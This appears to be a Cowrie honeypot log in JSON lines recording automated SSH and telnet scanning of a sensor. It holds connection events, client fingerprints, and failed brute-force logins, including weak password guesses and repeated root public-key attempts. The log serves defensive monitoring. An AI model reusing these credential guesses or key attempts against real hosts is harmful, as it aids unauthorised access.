{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49122,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eaa36bfb175","protocol":"ssh","message":"New connection: 194.59.206.2:49122 (159.203.135.109:22) [session: 2eaa36bfb175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:14.496674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:14.501965Z","src_ip":"194.59.206.2","session":"2eaa36bfb175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:14.588796Z","src_ip":"194.59.206.2","session":"2eaa36bfb175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:14.679323Z","src_ip":"194.59.206.2","session":"2eaa36bfb175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33426,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8cbc50b70e","protocol":"ssh","message":"New connection: 31.40.204.166:33426 (159.203.135.109:22) [session: ce8cbc50b70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:15.085179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:15.106171Z","src_ip":"31.40.204.166","session":"ce8cbc50b70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:15.511814Z","src_ip":"31.40.204.166","session":"ce8cbc50b70e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:16.103544Z","src_ip":"31.40.204.166","session":"ce8cbc50b70e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52592,"dst_ip":"10.17.0.5","dst_port":23,"session":"b588c68b437e","protocol":"telnet","message":"New connection: 152.42.224.71:52592 (10.17.0.5:23) [session: b588c68b437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:16.160104Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:17.304689Z","src_ip":"31.40.204.166","session":"ce8cbc50b70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.8365044593811,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:18.184280Z","src_ip":"152.42.224.71","session":"b0e9d0ef2500","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52608,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2fc3cc9ee03","protocol":"telnet","message":"New connection: 152.42.224.71:52608 (10.17.0.5:23) [session: d2fc3cc9ee03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:20.746851Z"}
{"eventid":"cowrie.session.closed","duration":57.10726761817932,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:21.160529Z","src_ip":"152.42.224.71","session":"7b86d81207d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44408,"dst_ip":"10.17.0.5","dst_port":23,"session":"441579383fe2","protocol":"telnet","message":"New connection: 152.42.224.71:44408 (10.17.0.5:23) [session: 441579383fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:26.808287Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41136,"dst_ip":"159.203.135.109","dst_port":22,"session":"14010110b73b","protocol":"ssh","message":"New connection: 31.40.204.166:41136 (159.203.135.109:22) [session: 14010110b73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:26.985754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:26.989691Z","src_ip":"31.40.204.166","session":"14010110b73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.88981223106384,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:27.275386Z","src_ip":"152.42.224.71","session":"80a24d7345d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44414,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1bcadaa0208","protocol":"telnet","message":"New connection: 152.42.224.71:44414 (10.17.0.5:23) [session: d1bcadaa0208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:27.617771Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:27.624813Z","src_ip":"31.40.204.166","session":"14010110b73b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:28.395651Z","src_ip":"31.40.204.166","session":"14010110b73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:29.585670Z","src_ip":"31.40.204.166","session":"14010110b73b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.13469457626343,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:31.326349Z","src_ip":"152.42.224.71","session":"008587b95a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00586915016174,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:35.840815Z","src_ip":"152.42.224.71","session":"3662c8253e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.220","src_port":35718,"dst_ip":"10.17.0.5","dst_port":22,"session":"1174dcacc482","protocol":"ssh","message":"New connection: 38.96.178.220:35718 (10.17.0.5:22) [session: 1174dcacc482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.567851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.571654Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.581275Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:ee:e6:0c:02:30:41:16:c7:91:f9:9e:74:8a:dd:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5d3p6EVfi68JoqpLcGTMHk2di1gMV2TGbonwaTPx6J25Ge1yzrkDRwahGpva2C2WbdhM8nHipznLXuZR/OaleMzh8vGyR1f/2/qrbKe02e+ossI8X+T6yVmbYmsTCXi+gmdLMBKXTZNNGTPXnLA+cA8IccEwnHqdDkn3FUjHrV8IHAJ1+OKHDW4HPc0hSgeAWh1eBzI6xr2z9YYHCdELCg5xZ0ANjTtzqNuJtPhl72pIXUpah+A8DrFwXZ9CzztfeCJ+hx+Y1ippwJogXU/S3cBzA8fh7mwdT0BzKZYq37Com5cepSM5fbfRwQQR54iGZcg8pG9CnN233xqE9aDkfZYWZmSluNk72g7TQl2yjppHP+R6y7+shMD5swLbIfmDRiZELmg3F4iCq+VNOkxwcbto3HGbTWRsAR1ZHb/ZT8ugaQy0rX8ODptl9u6oNkzkSrMdmPaKA+tnlZlIynw5GeMU1NE5pf7XDgQ/tnpZXwDUTQdJmx+T0Ur311+mXQorgt8EYiPcDIkcMY1c0pINl5GKbpK1mCYbo295m2NDkYV1d8L6pp1l6L5fx6vCvlOJUjc65JHzcaH62ILA1mIqHdzYaDUd+5KHYsdpy/izAaywX/l/DmC4O9CEi+VWwcgg6lXD5iTP+t4ZCToa4Q0r3W5oTXPyTwo4GgC8+fwaEOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:ee:e6:0c:02:30:41:16:c7:91:f9:9e:74:8a:dd:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.601400Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:ee:e6:0c:02:30:41:16:c7:91:f9:9e:74:8a:dd:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5d3p6EVfi68JoqpLcGTMHk2di1gMV2TGbonwaTPx6J25Ge1yzrkDRwahGpva2C2WbdhM8nHipznLXuZR/OaleMzh8vGyR1f/2/qrbKe02e+ossI8X+T6yVmbYmsTCXi+gmdLMBKXTZNNGTPXnLA+cA8IccEwnHqdDkn3FUjHrV8IHAJ1+OKHDW4HPc0hSgeAWh1eBzI6xr2z9YYHCdELCg5xZ0ANjTtzqNuJtPhl72pIXUpah+A8DrFwXZ9CzztfeCJ+hx+Y1ippwJogXU/S3cBzA8fh7mwdT0BzKZYq37Com5cepSM5fbfRwQQR54iGZcg8pG9CnN233xqE9aDkfZYWZmSluNk72g7TQl2yjppHP+R6y7+shMD5swLbIfmDRiZELmg3F4iCq+VNOkxwcbto3HGbTWRsAR1ZHb/ZT8ugaQy0rX8ODptl9u6oNkzkSrMdmPaKA+tnlZlIynw5GeMU1NE5pf7XDgQ/tnpZXwDUTQdJmx+T0Ur311+mXQorgt8EYiPcDIkcMY1c0pINl5GKbpK1mCYbo295m2NDkYV1d8L6pp1l6L5fx6vCvlOJUjc65JHzcaH62ILA1mIqHdzYaDUd+5KHYsdpy/izAaywX/l/DmC4O9CEi+VWwcgg6lXD5iTP+t4ZCToa4Q0r3W5oTXPyTwo4GgC8+fwaEOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.604209Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:a7:5e:a6:3a:74:28:cc:d1:b0:9b:fe:44:ef:5f:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5B+PGK3M2g2WPbbrLoMwlEudfLgQXkHnb8QwG3Tksp1atlZzLzzZGmdLH3Hk3NT/5LN7vQhEyKgk+qlOImrQpAMsl9yrxXd5XOhc3fog4/iEsFJywp9NwViKTTlu5SElEhweqi+R4fwImaIHg84Oo+YlmDzp9Z1TJSFMvRpOIJM2TBeZOATAFYhqZ1Gqt7dSLZitShAFdqcOYEyTczYB3zpeUm1v6sqnx25d8Oz8NVVkP5CxLNneEqbr+tSTZ99p+geSwzvykFiLe1GXr9s9oetEEFHFcnjuqAcd2gj105L0u0vXVa/ufQB5iZyw+OIz9GPOfR6Hw9+r5NkHxPAXN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:a7:5e:a6:3a:74:28:cc:d1:b0:9b:fe:44:ef:5f:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.610814Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:a7:5e:a6:3a:74:28:cc:d1:b0:9b:fe:44:ef:5f:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5B+PGK3M2g2WPbbrLoMwlEudfLgQXkHnb8QwG3Tksp1atlZzLzzZGmdLH3Hk3NT/5LN7vQhEyKgk+qlOImrQpAMsl9yrxXd5XOhc3fog4/iEsFJywp9NwViKTTlu5SElEhweqi+R4fwImaIHg84Oo+YlmDzp9Z1TJSFMvRpOIJM2TBeZOATAFYhqZ1Gqt7dSLZitShAFdqcOYEyTczYB3zpeUm1v6sqnx25d8Oz8NVVkP5CxLNneEqbr+tSTZ99p+geSwzvykFiLe1GXr9s9oetEEFHFcnjuqAcd2gj105L0u0vXVa/ufQB5iZyw+OIz9GPOfR6Hw9+r5NkHxPAXN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.613739Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:f4:2a:07:dc:b5:97:72:21:41:c9:69:ad:ec:86:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsyImSduM3T47kIyWPXI0r1Sjta/T9UQuYT6ROuyxLRdbk0zmKpXkfdAzs1v6kvkiWXAf/CsZDkncckU2JZM0pkqhxCsIRivxxLy9xgWIl6QyIrXavQLd3d9D222fN8XBOmvZkdpMx/ubaKLb07qxgow5cuXw+1daAhrSPpJnLdgsZaqKZxBRBRPz+WPyzdsVnYG2HbpaGR1cZTbwO8YXHdCJIWJdu9569H19OyxRyy2BpNaPcTbwVb2g+5b/Nh/7zvAmjSt2dKpsMQStrvu7aUReprQTCpaSixh10Vkk/gRE67QDketUdwNRurY8M37wL/9KCVesYUn5qamK9kH8Fw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:f4:2a:07:dc:b5:97:72:21:41:c9:69:ad:ec:86:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.620004Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:f4:2a:07:dc:b5:97:72:21:41:c9:69:ad:ec:86:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsyImSduM3T47kIyWPXI0r1Sjta/T9UQuYT6ROuyxLRdbk0zmKpXkfdAzs1v6kvkiWXAf/CsZDkncckU2JZM0pkqhxCsIRivxxLy9xgWIl6QyIrXavQLd3d9D222fN8XBOmvZkdpMx/ubaKLb07qxgow5cuXw+1daAhrSPpJnLdgsZaqKZxBRBRPz+WPyzdsVnYG2HbpaGR1cZTbwO8YXHdCJIWJdu9569H19OyxRyy2BpNaPcTbwVb2g+5b/Nh/7zvAmjSt2dKpsMQStrvu7aUReprQTCpaSixh10Vkk/gRE67QDketUdwNRurY8M37wL/9KCVesYUn5qamK9kH8Fw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.622842Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:ad:e6:52:b3:3e:50:ec:b4:7c:dd:7d:49:54:e6:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXlgqYAUEwci+zGuu+YWLvDJaxUDdbZXNMkyRvU6kzhWdaTubxCvejJaO7dd65Df7vGBfb7cDrP7IwnwhXPHxouHUS0wLqHICBtVm2V7ZcA90OX6IdOFcxcBu0MuAwfqElJ49zvWh/OTom9Gd4zNajp5Cz58Zs59pck/ktARg3aLrqURFAyW2pyOFQ74JBNLoatXunNCUMOU+3a6jfAuFzsUKBwoulL9YbF1Lf4F0m/Wnt7GS7V1HGsGBKWIFRiLvlIRTFyNj+GBrrIIRv7TV7OqxAEIZUGwxGJKC70fb9XVWOpIxwZkMNlO73vG1fnnuXsVGR3Xp33ULcPf3pwh8R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:ad:e6:52:b3:3e:50:ec:b4:7c:dd:7d:49:54:e6:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.632467Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:ad:e6:52:b3:3e:50:ec:b4:7c:dd:7d:49:54:e6:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXlgqYAUEwci+zGuu+YWLvDJaxUDdbZXNMkyRvU6kzhWdaTubxCvejJaO7dd65Df7vGBfb7cDrP7IwnwhXPHxouHUS0wLqHICBtVm2V7ZcA90OX6IdOFcxcBu0MuAwfqElJ49zvWh/OTom9Gd4zNajp5Cz58Zs59pck/ktARg3aLrqURFAyW2pyOFQ74JBNLoatXunNCUMOU+3a6jfAuFzsUKBwoulL9YbF1Lf4F0m/Wnt7GS7V1HGsGBKWIFRiLvlIRTFyNj+GBrrIIRv7TV7OqxAEIZUGwxGJKC70fb9XVWOpIxwZkMNlO73vG1fnnuXsVGR3Xp33ULcPf3pwh8R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.635463Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:88:65:09:a0:3b:c6:9a:94:9c:f7:11:61:d1:49:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDtkM9Gv4QIowTD0mXgLlf702dufyTzvNYGl/2ZTvhhyWBScMsieEAL9VNIVi8xQ4lsYgJFNfyJKBIKMd/NGBwsxWu1uOsRcsEw/CrNLjixcoGULl1z5U14ups3cf7Z4xQ5HNs31oNltIUi4E3g3+MzBUavIHRVcdZrn/FDsTxrTLcNRc/vukSw6ZqcLbK4t4R3/mzUOufyjtDhjllgaySpmCdpFHt4l+SfsyAOuygNi80St4b0ZHGpJZ2IEAkkKjEV10OdixvZVz6W/BMQMV58d29FownwBXAf/jFFJV3oHhMYJ9sWb2pxtVNC54AtdrHp5Y5+2LnKFIzrwGB9uX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:88:65:09:a0:3b:c6:9a:94:9c:f7:11:61:d1:49:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:22:36.641670Z","src_ip":"38.96.178.220","session":"1174dcacc482","protocol":"ssh"}
